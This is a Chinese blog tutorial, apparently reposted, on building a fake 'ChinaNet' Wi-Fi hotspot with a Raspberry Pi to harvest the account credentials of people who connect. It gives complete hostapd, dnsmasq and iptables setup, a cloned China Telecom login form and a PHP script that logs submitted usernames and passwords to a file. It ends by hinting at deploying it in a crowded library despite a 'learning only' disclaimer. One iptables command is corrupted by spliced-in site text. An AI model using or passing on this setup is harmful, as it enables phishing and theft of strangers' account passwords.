树莓派搭建钓鱼wifi热点

我们连接的公共wifi其实是非常不安全的网络,骇客可以利用wifi路由设备进行中间人攻击,劫持DNS伪造钓鱼网站。接下来我会做个简单的实验,伪造中国电信的路由ChinaNet并发射出热点wifi等待别人连接,从而达到获取用户的手机账户和密码的目的。
本记录仅供个人学习交流使用,请勿用于非法用途。

本次仅搭建热点进行设备引流,不做中间人攻击,而是简单的跳转到伪造的ChinaNet页面,等待连接的设备输入用户名和密码进行存储。

需要安装两个软件,并且做一些配置
hostapd(用于提供无线共享,创建wifi热点)
dnsmasq(用于配置DNS和DHCP的工具,可以对接入热点的设备进行流量引导)

1.安装 hostapd

1
apt-get install hostapd

2.编辑hostapd配置文件

1
vim /etc/hostapd/hostapd.conf

配置内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#Wifi接口名称,使用树莓派内置的无线网卡wlan0
interface=wlan0
#wifi热点网络名称,其他设备搜索到的wifi名称
ssid=ChinaNet
#频道设置为6
channel=6
#接受所有MAC地址
macaddr_acl=0
#忽略ssid广播,需要客户端知道网络名称
ignore_broadcast_ssid=0
#树莓派3的驱动
driver=nl80211
#使用2.4GHZ波段
hw_mode=g
#开启VMM
wmm_enabled=1

3.编辑hostapd的默认守护进程配置文件

1
vim /etc/default/hostapd

添加配置内容

1
DAEMON_CONF="/etc/hostapd/hostapd.conf"

4.编辑网络接口配置

1
vim /etc/network/interfaces

配置内容如下:

1
2
3
4
5
6
allow-hotplug wlan0
iface wlan0 inet static
address 172.24.1.1
netmask 255.255.255.0
network 172.24.1.0
broadcast 172.24.1.255

5.安装dnsmasq

1
apt-get install dnsmasq

6.编辑dnsmasq配置文件

1
vim /etc/dnsmasq.conf

配置内容如下:

1
2
3
4
5
6
7
interface=wlan0
listen-address=172.24.1.1
bind-interfaces
server=8.8.8.8
domain-needed
bogus-priv
dhcp-range=172.24.1.50,172.24.1.150,12h

7.编辑rc.local文件,在exit0 上方添加

1
iptables-restore < /etc/iptables.ipv4.nat

8.依次执行下列命令

1
2
3
4
5
sudo sh -c "echo 1 > /proc/sys/net/ipv4/ip_forward"
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -A FORWARD -i eth0 -o wlan0 -m state --state RELATED,ES 大专栏  树莓派搭建钓鱼wifi热点TABLISHED -j ACCEPT
sudo iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
sudo sh -c "iptables-save > /etc/iptables.ipv4.nat"

9.启动hostapd和dnsmasq

1
2
sudo service hostapd start
sudo service dnsmasq start

10.重启系统

1
reboot

11.编写钓鱼网站程序
将自己的电脑先连接到中国电信的路由器ChinaNet网络上,并且将认证网页下载到本地。
修改认证网页的提交表单地址,可以提交给自己的远程服务器,也可以提交到本地。
这里我使用提交提交到本地的方式,将表单提交给一个php程序来处理。
登录认证页面

1
2
3
4
5
6
7
8

...
<form action="login.php" method="post" onsubmit="return false;" id="formCh">
<input name="userName" id="userName3" type="text" class="input_txt" value="">
<input name="password" id="password3" type="password" autocomplete="off" class="input_txt" value="">
<input type="image" src="./dlu.png" onclick="if(!this.disabled) return checkLogin3();">
</form>
...

处理程序
login.php

1
2
3
4
5
6
7
8
9
10
11
12

$userName = $_POST['userName']; // 获取用户名
$password = $_POST['password']; // 获取密码

// 以追加内容的方式打开pass.txt文件
$myfile = fopen("pass.txt","a");
// 要保存的数据:用户名 密码 当前时间
$info = "userName=$userName passWord=$password t".date("Y-m-d H:i:s")." n";
// 写入文件
fwrite($myfile,$info);
// 关闭文件流
fclose($myfile);

由于之前已经搭建好了LNMP的环境,自己将编写好的web程序放到/var/www/html路径下即可。php程序要给可执行权限才能操作磁盘文件进行读写,为了方便我们之间将整个html文件夹下的文件都设置为可执行
切换到/var/www/下 执行 chmod 777 html/*

12.打开手机,即可看到树莓派发出的ChinaNet网络

连接上后可以看到树莓派为连接上热点的wifi分配了ip地址

打开浏览器,随便输入一个url地址,都将被重定向到我们的钓鱼页面

用户输入用户名和密码后点击提交,将会执行指定的php程序

打开网页所在的文件夹下查看pass.txt文件,可以看到用户和密码以及登录时间

到此简单的钓鱼wifi就制作完成了。
树莓派+移动电源+Wi-Fi模块+大黑背包+一个人来人往的图书馆+将Wi-Fi名字设置为ChinaNet。你懂的

原文地址:https://www.cnblogs.com/lijianming180/p/12375904.html